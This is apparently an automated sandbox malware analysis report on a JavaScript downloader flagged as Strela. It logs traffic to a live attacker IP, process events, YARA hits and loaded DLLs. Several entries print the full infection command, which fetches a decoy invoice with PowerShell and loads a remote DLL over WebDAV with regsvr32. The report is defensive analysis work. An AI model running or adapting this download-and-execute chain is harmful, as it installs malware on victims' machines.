Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.5:49705 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49704 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.2067940583.000002A3980E9000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2068152839.000002A39811B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2070864098.000002A39811C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2068058881.000002A3980F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000003.2125636478.000001F730869000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2124026306.000001F73088F000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2126177220.000001F730869000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2126100700.000001F730838000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000003.2125636478.000001F730869000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2126177220.000001F730869000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/D
Source: net.exe, 00000007.00000002.2126100700.000001F730838000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/tem
Source: svchost.exe, 00000009.00000002.3358388301.00000208A5000000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2126298037.00000208A4DC0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 2220, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\209542347516825.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\209542347516825.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 13211101981378323787.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@3/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4276:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rru2a011.z3g.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\13211101981378323787.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\209542347516825.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1660,i,6849184193499475424,2132944793090151533,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\209542347516825.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1660,i,6849184193499475424,2132944793090151533,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
